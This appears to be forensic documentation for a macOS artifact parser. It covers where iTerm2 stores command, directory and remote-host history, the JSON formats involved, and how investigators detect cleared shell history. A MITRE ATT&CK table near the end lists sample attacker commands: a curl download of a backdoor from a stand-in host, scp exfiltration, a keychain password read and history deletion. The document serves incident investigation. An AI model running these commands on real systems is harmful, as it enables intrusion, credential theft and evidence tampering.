iTerm2

iTerm2 Command History

Overview

iTerm2's Shell Integration feature instruments the user's shell so iTerm2 itself records terminal activity independently of the shell's own history. When enabled, it writes three plaintext JSON files to the ~/.iterm2/ directory:

  • CommandHistory.json — every command entered, with its working directory, a use count, and a last-used timestamp.
  • DirectoryHistory.json — every directory navigated to, with a use count and timestamp.
  • RemoteHosts.json — hostnames and usernames of remote systems iTerm2 detected during sessions.

Because iTerm2 maintains these files separately from ~/.zsh_history, ~/.bash_history, or ~/.local/share/fish/fish_history, they are one of the most valuable macOS command-execution artifacts: they frequently persist after a user clears the shell's own history, and they attribute commands to the remote host on which they ran.

Bypasses shell-history clearing

Deleting or truncating a shell history file (rm ~/.zsh_history, history -c, > ~/.bash_history) does not clear iTerm2's Shell Integration history. Commands run before the clearing may still be recovered from ~/.iterm2/CommandHistory.json. Always collect the iTerm2 histories alongside the shell histories.

Forensic Significance

Evidence TypeForensic Value
Executed commandsDirect record of user actions, independent of shell history
Working directoryWhere each command was run — locates staging, exfiltration, and build directories
TimestampsLast-used time per command and directory (Unix epoch)
Use countsFrequency of a command or directory, supporting behavioural analysis
Remote host / userAttributes commands to the SSH target they ran on
Directory historyReconstructs filesystem navigation even without command output
Remote hosts listEnumerates systems the user connected to from the terminal

Enablement

Shell Integration is not enabled by default. A user turns it on by installing the loader script (via iTerm2's menu or curl -L https://iterm2.com/shell_integration/install_shell_integration.sh | bash), which drops a loader such as ~/.iterm2_shell_integration.zsh and sources it from the shell rc file. The presence of ~/.iterm2/ or a ~/.iterm2_shell_integration.* file indicates Shell Integration was enabled and that these histories should exist.

File Locations

FilePathContent
Command history~/.iterm2/CommandHistory.jsonCommands with directory, timestamp, use count, remote context
Directory history~/.iterm2/DirectoryHistory.jsonVisited directories with timestamp, use count, remote context
Remote hosts~/.iterm2/RemoteHosts.jsonHostname/username records captured during sessions
Loader scripts~/.iterm2_shell_integration.{zsh,bash,fish,tcsh}Per-shell integration loader (marks enablement)

Paths are relative to each user's home directory. macfor checks each per user across all enumerated accounts.

File Format

The Shell Integration history files are standard JSON arrays. The on-disk schema is not officially documented and varies across iTerm2 versions, so parsing is intentionally defensive — missing keys yield empty/zero values rather than errors.

Command History

[
  {
    "command": "scp backup.tar.gz deploy@10.0.4.7:/srv/staging/",
    "directory": "/Users/alice/exfil",
    "time_of_last_use": 1740412800.482,
    "number_of_uses": 3,
    "hostname": "prod-web-01",
    "username": "deploy"
  }
]
KeyTypeDescription
commandstringThe command text as typed
directorystringWorking directory when the command ran
time_of_last_usenumberUnix epoch seconds (fractional) of the most recent use
number_of_usesnumberTimes the command has been recorded
hostnamestringRemote host the command ran on (when Shell Integration captured it)
usernamestringRemote username context (when present)

Directory History

[
  {
    "path": "/Users/alice/src/loader",
    "last_use": 1740412000.117,
    "use_count": 12,
    "starred": false,
    "hostname": "prod-web-01",
    "username": "deploy"
  }
]
KeyTypeDescription
pathstringThe directory path visited
last_usenumberUnix epoch seconds (fractional) of the most recent visit
use_countnumberTimes the directory was recorded
starredboolWhether the user pinned (starred) the directory
hostname / usernamestringRemote host/user context (when present)

Remote Hosts

[
  { "hostname": "prod-web-01", "username": "deploy" },
  { "hostname": "10.0.4.7", "username": "root" }
]
KeyTypeDescription
hostnamestringRemote host name or IP
usernamestringRemote login username

Parsed Record Schema

macfor emits one record per history entry. Timestamps are converted from Unix epoch to RFC 3339 UTC strings.

Command Record (iterm2_command)

FieldTypeDescription
typestringAlways iterm2_command
appstringAlways iterm2
userstringLocal user account the file belongs to
commandstringThe command text
directorystringWorking directory
timestampstringRFC 3339 UTC (from time_of_last_use)
use_countintNumber of recorded uses
remote_hoststringRemote host context, if any
remote_userstringRemote username context, if any
source_filestringAbsolute path to CommandHistory.json

Directory Record (iterm2_directory)

FieldTypeDescription
typestringAlways iterm2_directory
pathstringDirectory path
starredboolWhether pinned by the user
timestampstringRFC 3339 UTC (from last_use)
use_countintNumber of recorded visits
remote_host / remote_userstringRemote context, if any
source_filestringAbsolute path to DirectoryHistory.json

Remote Host Record (iterm2_remote_host)

FieldTypeDescription
typestringAlways iterm2_remote_host
hostnamestringRemote host name or IP
remote_userstringRemote login username
source_filestringAbsolute path to RemoteHosts.json

Timestamps

Shell Integration timestamps are Unix epoch values — seconds since 1970-01-01 00:00:00 UTC — stored as floating-point numbers, so a fractional (sub-second) component may be present. No offset or reference-date conversion is required beyond standard Unix time handling. macfor renders them as RFC 3339 UTC strings; a non-positive value is treated as "unknown" and left empty.

from datetime import datetime, timezone
datetime.fromtimestamp(1740412800.482, tz=timezone.utc)  # 2025-02-24T16:00:00.482Z

Note that iTerm2 records only the last use time per command or directory, not every individual invocation. A command with number_of_uses of 12 has a single time_of_last_use; the earlier eleven executions are not individually timestamped.

Analysis Notes

  • Correlate with shell history: Compare the iTerm2 command set with the shell's own history. Commands present in CommandHistory.json but absent from ~/.zsh_history are a strong indicator that the shell history was cleared or tampered with.
  • Remote attribution: Use remote_host/remote_user to attribute commands to the machine they ran on. A command with a remote_host value ran over SSH inside the iTerm2 session, not on the local host.
  • Directory context: DirectoryHistory.json reconstructs navigation even for sessions where few commands were captured — useful for locating working directories used for staging or exfiltration.
  • Remote-host enumeration: RemoteHosts.json is a concise list of systems the subject connected to; cross-reference it with ~/.ssh/known_hosts, ~/.ssh/config, and network logs.
  • Truncated or malformed files: macfor stream-parses the arrays, so a truncated or partially corrupt file still yields the entries decoded before the break, with a warning recorded rather than aborting collection.
  • Sensitive data: Commands may embed passwords, tokens, and connection strings in plaintext (mysql -p'secret', curl -H "Authorization: Bearer …"). Treat the evidence container as sensitive.

Command Pattern Analysis

PatternMITRE ATT&CKExample
Remote downloadsT1105 (Ingress Tool Transfer)curl -o /tmp/payload http://evil.example/backdoor
Lateral movementT1021.004 (SSH)ssh deploy@10.0.4.7 — corroborated by remote_host
Data exfiltrationT1041 / T1048scp data.tar.gz deploy@host:/srv/
Credential accessT1555security find-generic-password -wa "Wi-Fi"
History clearingT1070.003 (Clear Command History)rm ~/.zsh_history — often still recorded by iTerm2

Tool Support

ToolSupport
macforFull parsing of command, directory, and remote-host histories with timestamp conversion and remote attribution
python3 / jqParse the raw JSON arrays directly
grep / stringsQuick keyword search across ~/.iterm2/*.json

References